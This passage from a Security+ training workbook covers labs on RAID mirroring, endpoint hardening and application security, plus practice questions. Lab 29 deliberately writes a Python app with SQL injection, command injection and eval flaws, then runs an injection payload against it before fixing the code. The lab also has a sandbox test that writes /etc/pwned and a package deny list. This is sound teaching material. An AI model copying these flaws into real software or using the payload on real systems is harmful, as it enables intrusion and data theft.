yes | mdadm --create /dev/md10 --level=1 --raid-devices=2 --run "${LO[0]}"
"${LO[1]}"

cat /proc/mdstat

mdadm --wait /dev/md10 2>/dev/null; true

mdadm --detail /dev/md10 | grep -E 'Raid Level|Array Size|State :|Active
Devices'
```

4. Create a filesystem and record checksums Store a large file and a small ledger, and save their SHA-256 hashes as the integrity baseline.

```
mkfs.ext4 -q /dev/md10

mkdir -p /mnt/raid && mount /dev/md10 /mnt/raid

head -c 20M /dev/urandom > /mnt/raid/database.bin

echo "IMPORTANT synthetic ledger - balance 1,000,000" >
/mnt/raid/ledger.txt

sha256sum /mnt/raid/database.bin /mnt/raid/ledger.txt | tee
/root/lab27/before.sha256
```

5. Fail a disk and prove the data survives Mark one member as faulty, remove it, flush the page cache so reads really come from the remaining disk, and verify the checksums.

```
mapfile -t LO < /root/lab27/loops.txt

mdadm /dev/md10 --fail "${LO[0]}"

mdadm /dev/md10 --remove "${LO[0]}"

mdadm --detail /dev/md10 | grep -E 'State :|Active Devices|Failed Devices'

cat /proc/mdstat

sync && echo 3 > /proc/sys/vm/drop_caches

sha256sum -c /root/lab27/before.sha256
```

6. Replace the failed disk and rebuild the mirror Add the spare; mdadm rebuilds the mirror onto it automatically.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
mapfile -t LO < /root/lab27/loops.txt

mdadm /dev/md10 --add "${LO[2]}"

cat /proc/mdstat

mdadm --wait /dev/md10 2>/dev/null; true

mdadm --detail /dev/md10 | grep -E 'State :|Active Devices|Working Devices'
```

7. Build a RAID 5 array and compare capacity Three 128 MB disks in RAID 5 give about 256 MB usable; the two-disk mirror gives about 128 MB.

```
mapfile -t LO < /root/lab27/loops.txt

yes | mdadm --create /dev/md11 --level=5 --raid-devices=3 --run "${LO[3]}"
"${LO[4]}" "${LO[5]}"

mdadm --wait /dev/md11 2>/dev/null; true

for md in md10 md11; do

  echo "$md: $(mdadm --detail /dev/$md | grep -E 'Raid Level|Array Size' |
tr -s ' ' | tr '\n' ' ')"

done

lsblk -o NAME,SIZE,TYPE /dev/md10 /dev/md11
```

8. Show that RAID is not a backup, and save the configuration Corrupt the ledger the way ransomware or a faulty application would — the mirror faithfully copies the damage to both disks. Then save the array definition for recovery documentation.

```
echo "CORRUPTED BY RANSOMWARE" > /mnt/raid/ledger.txt && sync

sha256sum -c /root/lab27/before.sha256

mdadm --detail /dev/md10 | grep 'State :'

mdadm --detail --scan | tee /root/lab27/mdadm.conf.sample
```

Test it

The degraded mirror still passes its checksums, returns to clean with 2 active devices after the rebuild, RAID 5 gives about twice the mirror's capacity, and the corrupted ledger fails on a healthy array.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-27-raid-mdadm/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Practice Questions — Domain 3

1. [3.1] In an IaaS deployment, who must patch the guest operating system? A) Cloud provider B) Customer C) Hypervisor vendor D) Internet service provider

2. [3.1] A water plant's SCADA controller cannot be patched. What is the BEST action? A) Install antivirus B) Segment and monitor it C) Move it to SaaS D) Accept silently

3. [3.2] An inline IPS must keep traffic flowing if it crashes, because uptime is the priority. Which setting is this? A) Fail-closed B) Fail-open C) Passive D) Tap

4. [3.2] In an 802.1X deployment, which role does the network switch play? A) Supplicant B) Authenticator C) Authentication server D) Certificate authority

5. [3.2] Which control can block SQL injection inside HTTPS requests to a web app? A) Packet filter B) Layer 4 stateful firewall C) WAF D) Jump server

6. [3.3] Card numbers are replaced with random values and the originals kept in a secure vault. Which method is this? A) Hashing B) Masking C) Tokenization D) Obfuscation

7. [3.3] Which concept means stored data is subject to the laws of the country where it physically resides? A) Geolocation B) Data sovereignty C) Data in use D) Masking

8. [3.4] Which recovery site has hardware and connectivity but needs current data restored before use? A) Hot site B) Warm site C) Cold site D) Mirror site

Answers

- Q1: B — Customer: in IaaS the provider secures facilities, hardware and hypervisor; the guest OS upward is yours.
- Q2: B — Segmentation plus monitoring is a compensating control when a system cannot be patched.
- Q3: B — Fail-open passes traffic when the device fails, favouring availability over inspection.
- Q4: B — The switch is the authenticator; the client is the supplicant and RADIUS is the authentication server.
- Q5: C — A WAF inspects layer 7 HTTP content after TLS termination; layer 4 devices see only IPs and ports.
- Q6: C — Tokenization swaps the data for tokens with no mathematical link; only the vault maps them back.
- Q7: B — Data sovereignty ties stored data to the jurisdiction of its physical location.
- Q8: B — A warm site has equipment ready but needs data and configuration, so recovery takes hours to days.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Domain 4 — Security Operations (28%)

4.1 Hardening · 4.2 Assets · 4.3 Vuln mgmt · 4.4 Monitoring · 4.5 Capabilities · 4.6 IAM · 4.7 Automation · 4.8 IR · 4.9 Investigation

Exam objectives in this domain

- 4.1 Given a scenario, apply common security techniques to computing resources
- 4.2 Explain the security implications of proper hardware, software, and data asset management
- 4.3 Explain various activities associated with vulnerability management
- 4.4 Explain security alerting and monitoring concepts and tools
- 4.5 Given a scenario, modify enterprise capabilities to enhance security
- 4.6 Given a scenario, implement and maintain identity and access management
- 4.7 Explain the importance of automation and orchestration related to secure operations
- 4.8 Explain appropriate incident response activities
- 4.9 Given a scenario, use data sources to support an investigation

Objective 4.1 — Securing Computing Resources

Official objective: Given a scenario, apply common security techniques to computing resources.

A secure baseline is the minimum approved configuration for a class of system; it is established once, deployed to every host, and maintained as threats and the estate change.

Hardening reduces the attack surface of each target, from workstations and servers to switches, routers, cloud infrastructure and specialised systems such as ICS/SCADA, embedded devices, RTOS and IoT.

Wireless and mobile deployments add their own controls: site surveys and heat maps for placement, MDM with a chosen deployment model, and WPA3 with AAA/RADIUS for the air interface.

Application security is built in, not bolted on: input validation, secure cookies, static code analysis and code signing, with sandboxing and monitoring to catch what slips through.

Establish, Deploy, Maintain a Baseline

- Step 1: Establish: agree the minimum secure config per system class
- Step 2: Benchmark it against CIS or a vendor STIG
- Step 3: Deploy it to every host, ideally through automation
- Step 4: Measure drift and remediate hosts that fall out of spec
- Step 5: Maintain: review and update as threats and the estate change

Hardening Targets and What Each Needs

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Workstations & servers — Patch, disable unused services, enforce least privilege, enable host firewall and disk encryption, and remove default accounts.
- Switches & routers — Change default credentials, disable unused ports and management protocols, enable port security, and separate the management plane.
- Cloud infrastructure — Harden identity and network controls, lock down storage buckets and security groups, and apply benchmarks to images before they ship.
- ICS/SCADA — Operational technology that is rarely patched; protect it with segmentation and monitoring rather than agents, because availability is paramount.
- Embedded & RTOS — Fixed-function and real-time systems with little room for security software; rely on firmware signing, minimal interfaces and isolation.
- IoT devices — Weak defaults and long lifecycles; change credentials, update firmware and place them on an isolated network segment.

How You Actually Harden a Host

- Change every default credential and default setting on routers, access points, firewalls and operating systems before go-live.
- Disable or uninstall any service, program or port that is not required, because each one is attack surface a threat actor can use.
- Apply the principle of least privilege to accounts and services, so a compromise of one does not grant access to everything.
- Keep systems patched; unsupported, end-of-life hardware, firmware and software are weaknesses even when nothing is misconfigured.
- Encrypt data at rest (full disk or file level) so a lost or stolen device does not leak its contents.

Wireless Placement: Surveys and Heat Maps

- Site survey — Walk the floor plan measuring real signal strength and interference, so access points are placed where coverage is actually needed.
- Heat map — A colour map over the building layout showing where the signal is strong, weak or absent, revealing both dead zones and over-coverage.
- Central placement — Put an access point centrally rather than on an outside wall, so coverage reaches the whole area without bleeding outside.
- Power tuning — Turn transmit power down until the usable signal stops near the outer wall, so an attacker in the car park cannot reach it.
- Frequency — 2.4 GHz penetrates walls but is crowded; 5 GHz is faster and cleaner but is stopped more easily by walls and objects.

MDM and the Deployment Models

- MDM — Mobile device management enforces policy centrally: passcode, encryption, app control, remote lock and wipe across the whole fleet.
- BYOD — Bring your own device: the staff own it; cheapest, but mixing personal and corporate data makes control and privacy hardest.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- COPE — Corporate-owned, personally enabled: the company owns it and allows some personal use within an acceptable use policy; strong control.
- CYOD — Choose your own device: the company owns a device the user picked from an approved list; balances control with user preference.
- Containerisation — MDM separates a managed work profile from personal data, so a selective wipe removes only corporate data on BYOD.

Mobile Connection Methods and Their Risk

- Cellular — The carrier's own network; convenient and widely available, but out of the organisation's direct control and open to rogue base stations.
- Wi-Fi — Fast and cheap, but open and rogue access points and evil-twin attacks make strong encryption and authentication essential.
- Bluetooth — Short-range peripheral pairing; disable it when unused and beware bluejacking, bluesnarfing and unexpected pairing requests.
- Hotspot & tethering — A phone sharing its cellular link; useful, but it can bypass the corporate web filter and expose the device to other clients.

WPA3 and the Wireless Security Settings

- WPA3 — The current standard; use it where devices support it. WEP, then WPA, then WPA2 are progressively older and weaker.
- SAE — WPA3-Personal replaces the WPA2 pre-shared key handshake with Simultaneous Authentication of Equals, defeating offline cracking.
- AAA/RADIUS — WPA3-Enterprise authenticates each user to a RADIUS server (802.1X), so access is per-identity, not one shared passphrase.
- Cryptographic protocols — WPA3 mandates stronger ciphers (GCMP/AES) and protected management frames, closing WPA2 weaknesses.
- Authentication protocols — EAP variants such as EAP-TLS (certificates) and PEAP carry the 802.1X conversation between client and RADIUS server.
- Exam pattern: pick the MOST secure wireless option offered; WPA3 > WPA2 > WPA > WEP. Bit Locker and EFS are not wireless encryption.

Building Security into Applications

- Validate input: Treat all input as hostile until proven safe; Allow-list good values; do not just block bad ones; Stops injection, XSS and path traversal at the door
- Secure cookies: Secure flag: send the cookie over HTTPS only; HttpOnly: hide it from client-side JavaScript; SameSite: limit cross-site sending to curb CSRF
- Verify the build: Static code analysis (SAST) scans source for flaws; Code signing proves authorship and integrity; A failed signature means do not install

Sandboxing and Monitoring

- Sandboxing — Run untrusted or new code in an isolated environment with no access to the host, so malicious behaviour is contained and observed.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Test before deploy — Validate a baseline or patch in a sandbox or test environment first, so a bad change does not break production hosts.
- Monitoring — Continuously watch the resource after deployment; a hardened host still drifts, and only monitoring tells you when it does.
- Feedback loop — Monitoring findings feed back into the baseline, so the minimum secure configuration keeps pace with real-world threats.

Exam tips

- Establish, deploy, maintain is the baseline lifecycle; drift means a host no longer matches the approved baseline.
- Site survey measures signal; heat map visualises it. Both drive access-point placement and power tuning.
- BYOD = staff-owned; COPE = company-owned, personal use allowed; CYOD = company-owned, user chose it from a list.
- WPA3-Personal uses SAE; WPA3-Enterprise uses 802.1X with a RADIUS (AAA) server for per-user authentication.
- Secure cookie flags: Secure (HTTPS only), HttpOnly (no JavaScript access), SameSite (anti-CSRF).

Lab 28 — Mobile and Endpoint Hardening Baseline

Exam objective: 4.1. Learning outcome: Establish, deploy and verify an MDM-style endpoint baseline.

Goal: The learner establishes a secure endpoint baseline (passcode, screen lock, encryption, app control, radios, root detection) and proves it with a PASS/FAIL compliance script.

What you'll build

A baseline policy file, a WPA3-Enterprise Wi-Fi profile, the enforced settings and a 9/9 compliance report. (Tools: libpam-pwquality, dconf-cli, cryptsetup, jq.)

Step-by-step

1. Install the tools You need the password-quality library and its test tool, dconf for desktop policy locks, cryptsetup for encryption, and jq to read the JSON policy.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
libpam-pwquality libpwquality-tools dconf-cli cryptsetup jq
```

2. Establish the baseline and the Wi-Fi profile Write the baseline down first, as data. This is the "establish" phase, and the file is what an MDM would hold as its compliance policy. The Wi-Fi profile shows what an MDM pushes for WPA3-Enterprise: 802.1X with EAP-TLS against a RADIUS server, with Protected Management Frames required.

```
mkdir -p /etc/baseline
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
cat > /etc/baseline/endpoint-baseline.json <<'EOF'

{

  "policy": "SecPlus-ENDPOINT-BASELINE v1.0",

  "passcode":    {"min_length": 12, "min_classes": 3, "max_age_days": 90},

  "screen_lock": {"idle_seconds": 300, "user_can_change": false},

  "encryption":  {"required": true, "examples": "LUKS2, BitLocker,
FileVault, Android/iOS device encryption"},

  "apps":        {"deny_list": ["telnet", "inetutils-telnet", "rsh-
client"], "sideloading": "blocked"},

  "radios":      {"bluetooth": "disabled unless an exception is approved",
"wifi": "WPA3-Enterprise only"},

  "integrity":   {"root_or_jailbreak_detection": true,
"uid0_accounts_allowed": 1}

}

EOF

cat > /etc/baseline/corp-wifi-wpa3.conf <<'EOF'

# Wi-Fi profile an MDM would push (wpa_supplicant syntax). WPA3-Enterprise,
EAP-TLS, PMF required.

# For WPA3-Personal you would use key_mgmt=SAE with a passphrase instead of
802.1X.

network={

    ssid="CORP-SECURE"

    key_mgmt=WPA-EAP-SHA256

    ieee80211w=2

    eap=TLS

    identity="alice@corp.example"

    ca_cert="/etc/baseline/radius-ca.pem"

    client_cert="/etc/baseline/alice.pem"

    private_key="/etc/baseline/alice.key"

}

EOF
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
jq . /etc/baseline/endpoint-baseline.json
```

3. Deploy the passcode policy Enforce length and complexity through PAM (pwquality) and password ageing through login.defs. Then test the policy with pwscore, which rejects weak passwords exactly as the login stack will.

```
mkdir -p /etc/security/pwquality.conf.d

cat > /etc/security/pwquality.conf.d/50-baseline.conf <<'EOF'

minlen = 12

minclass = 3

dictcheck = 1

retry = 3

EOF

sed -i 's/^PASS_MAX_DAYS.*/PASS_MAX_DAYS   90/;
s/^PASS_MIN_DAYS.*/PASS_MIN_DAYS   1/' /etc/login.defs

grep -E '^PASS_(MAX|MIN)_DAYS' /etc/login.defs

echo 'Summer24' | pwscore || echo "-> rejected by the baseline"

echo 'Cobalt-Harbour-Lantern-81' | pwscore
```

4. Enforce screen lock and idle timeout Shells get an idle timeout. Desktops get a GNOME screen-lock policy that is locked, so the user cannot change it, which is the same idea as an MDM configuration profile.

```
cat > /etc/profile.d/99-idle-lock.sh <<'EOF'

# Baseline: terminate idle interactive shells after 600 seconds

TMOUT=600

readonly TMOUT

export TMOUT

EOF

mkdir -p /etc/dconf/profile /etc/dconf/db/local.d/locks

printf 'user-db:user\nsystem-db:local\n' > /etc/dconf/profile/user

cat > /etc/dconf/db/local.d/00-screenlock <<'EOF'

[org/gnome/desktop/session]

idle-delay=uint32 300
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
[org/gnome/desktop/screensaver]

lock-enabled=true

lock-delay=uint32 0

EOF

cat > /etc/dconf/db/local.d/locks/screenlock <<'EOF'

/org/gnome/desktop/session/idle-delay

/org/gnome/desktop/screensaver/lock-enabled

/org/gnome/desktop/screensaver/lock-delay

EOF

dconf update && ls -l /etc/dconf/db/local
```

5. Require encryption for the secure folder Phones encrypt by default and MDM verifies it. Here you create an encrypted container, the equivalent of a work-profile or "secure folder", and confirm that it is LUKS2.

```
truncate -s 32M /root/secure-folder.img

head -c 64 /dev/urandom > /root/secure-folder.key && chmod 600
/root/secure-folder.key

cryptsetup luksFormat --batch-mode --type luks2 /root/secure-folder.img
/root/secure-folder.key

cryptsetup isLuks /root/secure-folder.img && echo "secure-folder.img is
LUKS-encrypted"

cryptsetup luksDump /root/secure-folder.img | grep -iE '^version|cipher:|
pbkdf:' | head -4
```

6. Enforce the app deny-list and block sideloading An APT pin with priority -1 makes a banned package impossible to install from the repositories, which acts as a deny-list. A noexec mount stops apps "sideloaded" into a downloads area from running.

```
cat > /etc/apt/preferences.d/99-baseline-deny-list <<'EOF'

Package: telnet inetutils-telnet rsh-client

Pin: release *

Pin-Priority: -1

EOF

apt-cache policy telnet | head -3

mkdir -p /mnt/downloads
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
mountpoint -q /mnt/downloads || mount -t tmpfs -o
size=16m,noexec,nosuid,nodev tmpfs /mnt/downloads

printf '#!/bin/sh\necho "sideloaded app is running"\n' >
/mnt/downloads/freegame.sh

chmod +x /mnt/downloads/freegame.sh

/mnt/downloads/freegame.sh || echo "BLOCKED: the untrusted location is
mounted noexec"
```

7. Disable unneeded radios and services, and detect root-level tampering Disable Bluetooth at the kernel-module level, review what is listening, then record the root-equivalent footprint (UID 0 accounts and SUID binaries). This is the Linux version of MDM jailbreak/root detection.

```
cat > /etc/modprobe.d/99-baseline-bluetooth.conf <<'EOF'

# Baseline: Bluetooth disabled unless a documented exception exists

install bluetooth /bin/false

install btusb /bin/false

EOF

systemctl disable --now bluetooth.service 2>/dev/null || echo "no bluetooth
service on this host"

ss -tulpn | awk 'NR==1 || /LISTEN/'

awk -F: '$3==0 {print "UID 0 account:", $1}' /etc/passwd

find / -xdev -perm -4000 -type f 2>/dev/null | sort > /etc/baseline/suid-
baseline.txt

wc -l /etc/baseline/suid-baseline.txt
```

8. Verify compliance with a check script This is the "maintain" phase. The script re-checks every policy item and returns non-zero on drift, which is how an MDM would flag the device as non-compliant and block access to corporate resources.

```
cat > /usr/local/sbin/baseline-check <<'EOF'

#!/bin/bash

# MDM-style compliance check against /etc/baseline/endpoint-baseline.json

pass=0; fail=0

check() { if eval "$2" >/dev/null 2>&1; then echo "PASS  $1"; pass=$
((pass+1)); else echo "FAIL  $1"; fail=$((fail+1)); fi; }

check "Passcode minimum length >= 12" "grep -Eq '^minlen *= *(1[2-9]|[2-9]
[0-9])' /etc/security/pwquality.conf.d/50-baseline.conf"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
check "Password maximum age <= 90 days" "awk '/^PASS_MAX_DAYS/ {exit !(\
$2<=90)}' /etc/login.defs"

check "Idle shell timeout configured" "grep -q '^TMOUT=' /etc/profile.d/99-
idle-lock.sh"

check "Desktop screen lock locked" "test -s
/etc/dconf/db/local.d/locks/screenlock"

check "Secure folder encrypted" "cryptsetup isLuks /root/secure-folder.img"

check "Telnet blocked by deny-list" "apt-cache policy telnet | grep -q
'Candidate: (none)'"

check "Sideload path mounted noexec" "findmnt -no OPTIONS /mnt/downloads |
grep -q noexec"

check "Bluetooth module disabled" "grep -q '^install bluetooth
/bin/false' /etc/modprobe.d/99-baseline-bluetooth.conf"

check "Only root has UID 0" "test \$(awk -F: '\$3==0' /etc/passwd | wc -l)
-eq 1"

echo "Result: $pass passed, $fail failed"

[ "$fail" -eq 0 ]

EOF

chmod 755 /usr/local/sbin/baseline-check

baseline-check | tee /etc/baseline/compliance-report.txt
```

Test it

baseline-check prints 'Result: 9 passed, 0 failed' with exit 0; removing the noexec mount makes one check FAIL with exit 1.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-28-mobile-endpoint-hardening/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 29 — Application Security: Validation, SAST and Code Signing

Exam objective: 4.1. Learning outcome: Find and fix injection flaws, then sign and verify a release.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Goal: The learner scans a Python app with Bandit, fixes it with input validation and parameterised queries, sets secure cookie flags, GPG-signs a release, detects tampering and sandboxes untrusted code.

What you'll build

A vulnerable and fixed app, before/after Bandit reports, a secure-cookie server and a GPG-signed release. (Tools: bandit (venv), gnupg, systemd-run, jq.)

Step-by-step

1. Install the tools Bandit is installed into its own Python virtual environment, which avoids the "externally managed environment" block that newer Ubuntu releases place on system-wide pip installs.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
python3-venv gnupg curl jq

python3 -m venv /opt/sast && /opt/sast/bin/pip install -q bandit

/opt/sast/bin/bandit --version | head -1
```

2. Create the vulnerable application This customer-lookup tool contains five classic flaws: a hard-coded secret, SQL built by string formatting, a shell command built from input, a weak hash and eval. All the data is synthetic.

```
mkdir -p /opt/appsec/vuln

cat > /opt/appsec/vuln/lookup.py <<'EOF'

import hashlib, sqlite3, subprocess, sys


DB_PASSWORD = "Sup3rS3cret!"   # flaw 1: hard-coded secret (synthetic)


def init_db():

    con = sqlite3.connect(":memory:")

    con.execute("CREATE TABLE customers (id INTEGER PRIMARY KEY, name TEXT,
card TEXT)")

    con.executemany("INSERT INTO customers (name, card) VALUES (?, ?)",

                    [("alice", "4111-XXXX-XXXX-1111"), ("bob", "5500-XXXX-
XXXX-0004"), ("carol", "3400-XXXX-XXXX-0009")])

    return con
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
def find_customer(con, name):

    query = "SELECT id, name, card FROM customers WHERE name = '%s'" % name
# flaw 2: SQL injection

    return con.execute(query).fetchall()



def ping(host):

    return subprocess.check_output("ping -c 1 " + host, shell=True)
# flaw 3: command injection



def token(user):

    return hashlib.md5(user.encode()).hexdigest()
# flaw 4: weak hash



def calc(expr):

    return eval(expr)
# flaw 5: code injection



if __name__ == "__main__":

    print(find_customer(init_db(), sys.argv[1]))

EOF

python3 /opt/appsec/vuln/lookup.py alice
```

3. Run static analysis with Bandit Bandit parses the code into an abstract syntax tree and flags risky patterns. It exits non-zero when it finds issues, which is how a CI pipeline would block the merge.

```
cd /opt/appsec

/opt/sast/bin/bandit -r vuln -f json -o bandit-before.json || echo "Bandit
found issues (non-zero exit)"

jq -r '.results[] | "\(.issue_severity)\t\(.test_id)\tline \(.line_number)
\t\(.issue_text)"' bandit-before.json

jq '.metrics._totals | {high: ."SEVERITY.HIGH", medium: ."SEVERITY.MEDIUM",
low: ."SEVERITY.LOW"}' bandit-before.json
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

4. Confirm the SQL injection dynamically A finding is only a hypothesis until you confirm it. Supply the classic tautology payload and watch every customer record come back. This is dynamic testing of the same flaw.

```
cd /opt/appsec

python3 vuln/lookup.py "x' OR '1'='1"
```

5. Fix the code with validation and parameterisation The fix applies an allow-list regular expression to every input, a bound parameter (?) for SQL, an argument list instead of a shell, SHA-256 instead of MD5, a secret read from the environment and ast.literal_eval instead of eval. Then re-scan with a gate that fails only on medium or high findings (-ll).

```
mkdir -p /opt/appsec/fixed

cat > /opt/appsec/fixed/lookup.py <<'EOF'

import ast, hashlib, os, re, sqlite3, subprocess, sys



DB_PASSWORD = os.environ.get("APP_DB_PASSWORD", "")   # secret injected at
run time, never in code

NAME_RE = re.compile(r"[a-z]{1,32}")                  # allow-list: lower-
case letters only

HOST_RE = re.compile(r"[A-Za-z0-9.-]{1,253}")



def init_db():

    con = sqlite3.connect(":memory:")

    con.execute("CREATE TABLE customers (id INTEGER PRIMARY KEY, name TEXT,
card TEXT)")

    con.executemany("INSERT INTO customers (name, card) VALUES (?, ?)",

                    [("alice", "4111-XXXX-XXXX-1111"), ("bob", "5500-XXXX-
XXXX-0004"), ("carol", "3400-XXXX-XXXX-0009")])

    return con



def find_customer(con, name):

    if not NAME_RE.fullmatch(name):

        raise ValueError("invalid customer name")
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
    return con.execute("SELECT id, name, card FROM customers WHERE name
= ?", (name,)).fetchall()


def ping(host):
    if not HOST_RE.fullmatch(host):
        raise ValueError("invalid host")
    return subprocess.run(["/usr/bin/ping", "-c", "1", host],
capture_output=True, check=False).stdout


def token(user):
    return hashlib.sha256(user.encode()).hexdigest()


def calc(expr):
    return ast.literal_eval(expr)


if __name__ == "__main__":
    try:
        print(find_customer(init_db(), sys.argv[1]))
    except ValueError as err:
        print("REJECTED:", err)
EOF
cd /opt/appsec
python3 fixed/lookup.py alice
python3 fixed/lookup.py "x' OR '1'='1"
/opt/sast/bin/bandit -r fixed -ll && echo "SAST GATE PASSED: no medium or
high findings"
```

6. Issue cookies with secure flags Start a tiny web server that sets one insecure cookie and one hardened cookie, then inspect the Set-Cookie headers.

```
cat > /opt/appsec/cookie_server.py <<'EOF'
from http.server import BaseHTTPRequestHandler, HTTPServer
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
class Handler(BaseHTTPRequestHandler):

    def do_GET(self):

        self.send_response(200)

        if self.path == "/insecure":

            self.send_header("Set-Cookie", "session=lab-0001; Path=/")

        else:

            self.send_header("Set-Cookie", "session=lab-0001; Path=/;
Secure; HttpOnly; SameSite=Strict; Max-Age=900")

        self.end_headers()

        self.wfile.write(b"ok\n")


    def log_message(self, *args):

        pass


HTTPServer(("127.0.0.1", 8088), Handler).serve_forever()

EOF

python3 /opt/appsec/cookie_server.py & SRV=$!

sleep 1

curl -s -D - -o /dev/null http://127.0.0.1:8088/insecure | grep -i '^set-
cookie'

curl -s -D - -o /dev/null http://127.0.0.1:8088/login | grep -i '^set-
cookie'

kill "$SRV"
```

7. Sign the release with GPG Create a lab-only signing key (no passphrase, for the lab only), package the fixed app, publish a SHA-256 checksum, and produce a detached ASCII-armoured signature.

```
export GNUPGHOME=/opt/appsec/gnupg

mkdir -p -m 700 "$GNUPGHOME"

cat > /opt/appsec/keyparams <<'EOF'

%no-protection
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
Key-Type: RSA

Key-Length: 3072

Key-Usage: sign

Name-Real: Course Release Signing (LAB ONLY)

Name-Email: release@lab.example

Expire-Date: 1y

%commit

EOF

gpg --batch --gen-key /opt/appsec/keyparams

cd /opt/appsec

tar -czf lookup-1.0.tar.gz -C fixed lookup.py

sha256sum lookup-1.0.tar.gz > lookup-1.0.tar.gz.sha256

gpg --batch --yes --armor --detach-sign lookup-1.0.tar.gz

gpg --verify lookup-1.0.tar.gz.asc lookup-1.0.tar.gz
```

8. Detect a tampered release An attacker who modifies the package cannot produce a valid signature without the private key, so verification fails.

```
export GNUPGHOME=/opt/appsec/gnupg

cd /opt/appsec

cp lookup-1.0.tar.gz lookup-1.0-tampered.tar.gz && echo "backdoor" >>
lookup-1.0-tampered.tar.gz

gpg --verify lookup-1.0.tar.gz.asc lookup-1.0-tampered.tar.gz || echo
"SIGNATURE CHECK FAILED - do not install"

sha256sum -c lookup-1.0.tar.gz.sha256
```

9. Run untrusted code in a sandbox Use systemd's sandboxing to run a script with no network, a read-only operating system and no privilege escalation. The script tries to write to /etc and to call out to the internet, and both attempts fail.

```
systemd-run --quiet --wait --pipe \

  -p PrivateNetwork=yes -p ProtectSystem=strict -p ProtectHome=yes -p
PrivateTmp=yes -p NoNewPrivileges=yes \

  /bin/sh -c 'touch /etc/pwned 2>&1; curl -sS -m 3 http://example.com 2>&1
| head -1; echo "sandboxed run finished"'
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
test -e /etc/pwned && echo "ESCAPED" || echo "Host /etc untouched - sandbox held"
```

Test it

Bandit on the fixed code exits 0, the fixed app rejects the injection input, and GPG reports 'Good signature' for the original but 'BAD signature' for the tampered copy.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-29-appsec-sast-code-signing/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 4.2 — Asset Management

Official objective: Explain the security implications of proper hardware, software, and data asset management.

You cannot protect what you do not know you own, so asset management underpins almost every other control in the course.

Each asset is acquired through a controlled process, then assigned an owner and a data classification so responsibility and handling rules are clear.

A live inventory, built by enumeration, tells you what exists, where it is and what state it is in throughout the asset's life.

At end of life the asset is disposed of securely: data is sanitised or the media destroyed, the act is certified, and retention requirements are checked first.

The Asset Management Lifecycle

- Step 1: Acquisition/procurement: buy through a vetted process
- Step 2: Assignment: record an owner and a classification
- Step 3: Inventory: enumerate and track the asset in use
- Step 4: Monitoring: keep location, state and config current
- Step 5: Disposal: sanitise or destroy, then certify

Procurement, Ownership and Classification

- Acquisition/procurement — Buy hardware and software through an approved, security-reviewed process, so supply-chain and licensing risk is controlled from day one.
- Ownership — Every asset has a named owner accountable for its security decisions, and a custodian who handles day-to-day operation.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Classification — Label the data the asset holds (for example Public, Internal, Confidential, Restricted); the label drives how it must be handled and disposed of.
- Accounting — Tie the asset to a cost centre and the owner, so nothing is unmanaged and every device has someone responsible for it.

Inventory, Enumeration and Monitoring

- Inventory — The authoritative list of every hardware and software asset; if it is not on the inventory, it is not being patched, scanned or protected.
- Enumeration — Actively discovering assets on the network, so shadow IT and forgotten hosts are added to the inventory rather than missed.
- Asset tracking — Keep each record current with location, owner, state and configuration, so audits and incident response have accurate data.
- Tagging — A unique asset tag or serial ties the physical device to its record, which is essential evidence on a disposal certificate.

Disposal and Decommissioning

- Sanitisation — Remove data so it cannot be recovered, while the media may be reused: overwrite (Clear) or cryptographic erase (Purge).
- Destruction — Physically destroy the media by shredding, degaussing or incineration when reuse is not required or the data is highly sensitive.
- Certification — A signed certificate of sanitisation records the asset, method, operator and verification, proving the data was removed.
- Data retention — Check retention and any legal hold BEFORE disposal; destroying data still under a retention requirement is itself a compliance failure.
- NIST SP 800-88 defines three levels: Clear (overwrite), Purge (crypto erase/degauss) and Destroy (physical).

Deleting Is Not Sanitising

- Ordinary delete / format: Removes only the file system pointers to the data.
